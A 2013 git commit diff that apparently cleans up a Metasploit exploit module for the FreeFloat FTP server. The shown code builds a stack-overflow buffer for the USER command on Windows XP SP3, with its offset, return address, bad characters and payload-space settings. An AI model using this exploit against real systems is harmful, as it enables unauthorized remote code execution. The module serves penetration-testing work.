cleanup for freefloatftp_user

unstable
jvazquez-r7 2013-04-16 20:43:38 -05:00
parent eedeb37047
commit 4e8d32a89a
1 changed files with 9 additions and 10 deletions

View File

@ -8,9 +8,8 @@
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = LowRanking
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
@ -38,14 +37,14 @@ class Metasploit4 < Msf::Exploit::Remote
'Privileged' => false,
'Payload' =>
{
'Space' => 440,
'Space' => 444,
'DisableNops' => true,
'BadChars' => "\x00\x0a\x0d",
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'Targets' =>
[
[ 'Windows XP SP3',
[ 'FreeFloat / Windows XP SP3',
{
'Ret' => 0x77c35459 , # push esp; ret - mscvrt.dll
'Offset' => 230
@ -70,7 +69,7 @@ class Metasploit4 < Msf::Exploit::Remote
connect
buf = rand_text(target['Offset'])
buf << [ target['Ret'] ].pack('V')
buf << make_nops(12)
buf << rand_text(8)
buf << payload.encoded
send_user(buf)
disconnect